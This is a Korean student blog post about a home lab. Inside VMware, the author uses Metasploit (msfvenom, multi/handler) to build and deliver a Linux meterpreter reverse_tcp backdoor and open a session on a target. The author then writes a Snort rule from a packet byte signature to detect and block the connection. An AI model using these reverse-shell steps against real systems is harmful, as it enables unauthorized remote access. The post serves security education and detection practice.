발자취

Backdoor 공격 탐지 및 차단 실습하기 본문

3-1/침입 탐지와 차단 시스템

Backdoor 공격 탐지 및 차단 실습하기

해린 2023. 9. 16. 06:25

VMware 가상머신에서 직접 Backdoor 공격을 진행해보고 해당 공격을 탐지 및 차단하는 실습을 진행해보았다.

 

01. Backdoor란?

- 정상적인 인증 절차를 거치지 않고, 컴퓨터나 암호 시스템 등에 접근할 수 있도록 하는 방법

- 개발 단계에서의 테스트, 유지 보수 시의 효율성을 위해 시스템 설계자 및 관계자가 고의로 남겨둔 시스템 보안 허점

  → 원격 접속, 정보 탈취 등의 악용 가능성이 있다

 

사용자가 모르게 악성행위를 실행하기 위한 통로를 만드는 행위를 할 때 주로 백도어 공격을 한다.

 

02. Backdoor 공격 실습

공격 실습에 앞서 공격 환경 구성 및 시나리오와 사용 공격 툴에 대한 간단한 설명을 할 것이다.

 

1. 공격 환경 구성 및 시나리오

[공격 환경]

- 공격자 PC: Kali (192.168.100.128)

- 타겟 PC: Xubuntu (192.168.100.20)

 

[공격 시나리오]

1. 공격자 PC가 타겟 PC에 공격 코드 파일을 유입시킴

2. 타겟 PC가 해당 파일을 실행

3. 타겟 PC의 세션 정보가 공격자 PC로 전송됨

4. 공격자가 타겟 PC에 접근할 수 있게 됨

 

 

2. 사용 공격 툴

Metasploit 프레임워크

  - 침투 테스트 프레임워크

  - 공격 코드, 페이로드 인코더, 정찰 도구 등을 제공함

  - Kali에 기본으로 설치되어 있음

 

주요 명령어

1. msfvenom

  - Payload 생성 명령어

  - Payload를 파일 형식으로 만들어줌

     - Payload란? 공격 대상 시스템에서 실행되길 원하는 코드

 

2. msfconsole

  - Metasploit과 직접 상호작용하는 콘설창을 여는 명령어

 

3. exploit

  - 시스템의 결함 혹은 취약점을 악용하는 명령어

 

 

3. Backdoor 공격 진행

본격적으로 Backdoor 공격 실습을 진행한다.

 

1. 페이로드 생성

sudo msfvenom -l payloads

msfvenom의 페이로드 리스트플 확인한다.

 

이 중 reverse_tcp 페이로드를 사용한다.

본 실습은 리눅스 환경에서 실습을 진행중이기 때문에 linux/x86/meterpreter/reverse_tcp를 사용한다.

 

reverse_tcp 페이로드 사용 이유

방화벽 등의 이유로 외부에서 내부로 접근, 즉 공격자 PC에서 타겟 PC로 접근하는 것이 어렵기 때문에 내부체서 외부로 접근할 수 있게 하기 위해 사용한다. 즉, 일반적인 방식과 다르게 타겟 PC가 공격자 PC로 연결을 맺도록 하여 공격자가 타겟 PC의 쉘 액세스 권한을 가질 수 있게 만드는 것이다.

 

 

msfvenom -p [페이로드] LHOST=[공격자IP] LPORT=[공격자포트] -b ‘\x00’ -f exe> 2021111325.exe

msfvenom 명령어로 페이로드(backdoorAttack.elf)를 생성한다.

 

옵션

-p: 페이로드 지정

-b: 생성할 페이로드에서 제외할 문자 지정

-f: 출력 파일 포맷 지정

 

*주의: 리눅스 환경에서 사용하는 실행 파일 형식은 .elf이다. 윈도우와 혼동하여 .exe 파일을 만들면 실행이 되지 않는다!

여기서 조금 오랜 시간이 소요됐다..

 

해당 파일이 생성된 것을 확인할 수 있다.

 

 

2. 타겟 PC에 공격 파일 전송

본 실습에서는 ftp를 사용하여 파일을 전송하였다.

 

ftp로 타겟 PC인 Xubuntu에 접속한다.

 

Xubuntu의 ~/Desktop 경로에 파일을 옮겼다.

 

 

3. msfconsole 접속 및 설정

핸들러 사용을 위해 msfconsole에 접속한다.

 

use exploit/multi/handler

핸들러를 사용한다.

 

payload를 연결하고, IP와 port를 설정한 뒤, ExitOnSession 옵션을 false로 설정한다.

payload, IP, port는 페이로드 생성 시 적었던 내용들을 그대로 적어주면 된다.

ExitOnSession 옵션을 false로 설정한 이유는 여러 세션이 접근 가능하도록 하기 위해서 라고 한다.

 

 

4. 취약점 공격

exploit 명령어로 페이로드를 실행한다.

이렇게 해두고 타겟 PC가 backdoorAttack.elf 프로그램을 실행할 때까지 대기한다.

 

옵션

-j: 백그라운드에서 실행

-z: 공격이 성공해도 바로 meterpreter로 연결되지 않게 하는 옵션. 즉, 세션과 바로 연결되지 않게 함.

 

 

5. [Xubuntu] 공격 파일 실행 → 세션 정보 유출

Xububtu 환경의 사진

타겟 PC가 해당 파일을 더블클릭하여 실행

 

*주의: chmod 700 backdoorAttack.elf 으로 실행 권한 부여해줘야 실행이 됨

 

타겟 PC의 세션 정보가 공격자의 PC로 전송됨 (세션: 1)

 

 

6. meterpreter 접속

전달받은 세션 값을 입력한다.

 

옵션

-i: 타겟 쉘과 커뮤니케이션 할 수 있게 해주는 옵션. 이 옵션을 설정하지 않으면 meterpreter로 접속되지 않고 세션 정보만 보여줌.

 

 

meterpreter로 접속됨.

sysinfo 명령어를 입력해보았더니 타겟 PC의 정보가 출력되는 것을 확인할 수 있었음.

 

 

3. Backdoor 방어 실습

1. 방어 환경 구성

타겟 PC가 공격 코드를 실행팼을 때 세션 정보가 넘어가지 않도록 Snort 룰을 작성할 것이다.

 

2. Backdoor 방어 절차

1. 시그니처 찾기

첫번째 실행
두번째 실행

백도어를 두번 실행해보면서 타겟 PC가 backdoorAttack.elf 파일을 실행하는 순간의 패킷을 Wireshark를 통해 캡쳐했다.

그 결과, 공격자와 타겟이 3-way handshake 과정을 거쳐 연결한 뒤, 데이터를 전송하는 과정에서 [PSH, ACK] 패킷을 보낸

다는 것을 알 수 있었고, 이때 이 패킷의 데이터 값이 두번의 실행 모두 '5731dbb968870f00ba07000000be2200000031ff31edb8c0…'로 일치하는 것을 확인할 수 있었다.

이 데이터값을 시그니처로 두고 스노트 룰을 작성해보았다.

 

다른 파일도 같은 데이터값을 갖는지 궁금해져 backdoorAttack2.elf 파일을 생성해 확인해본 결과, 같은 데이터 값을 가지는 것을 확인할 수 있었다. 시그니처로 활용하기에 좋은 것 같다.

 

2. snort 룰 작성

 

3. 결과

Xubuntu 환경

공격을 차단했다는 메시지가 뜸

 

Kali 환경

아무리 기다려도 세션 정보가 넘어오지 않음

 

결론

타겟 PC가 backdoorAttack.elf 파일을 실행했을 때, 타겟 PC에서 backdoor 공격을 탐지하고 차단하여 세션 정보의 유출을 막기 때문에 공격자 PC에서 세션 정보를 얻어낼 수 없다!

 

 

참고한 게시글

https://beatsloth.tistory.com/m/1190

https://hyotwo.tistory.com/120

https://remybaek.tistory.com/112

https://m.blog.naver.com/on21life/221387957157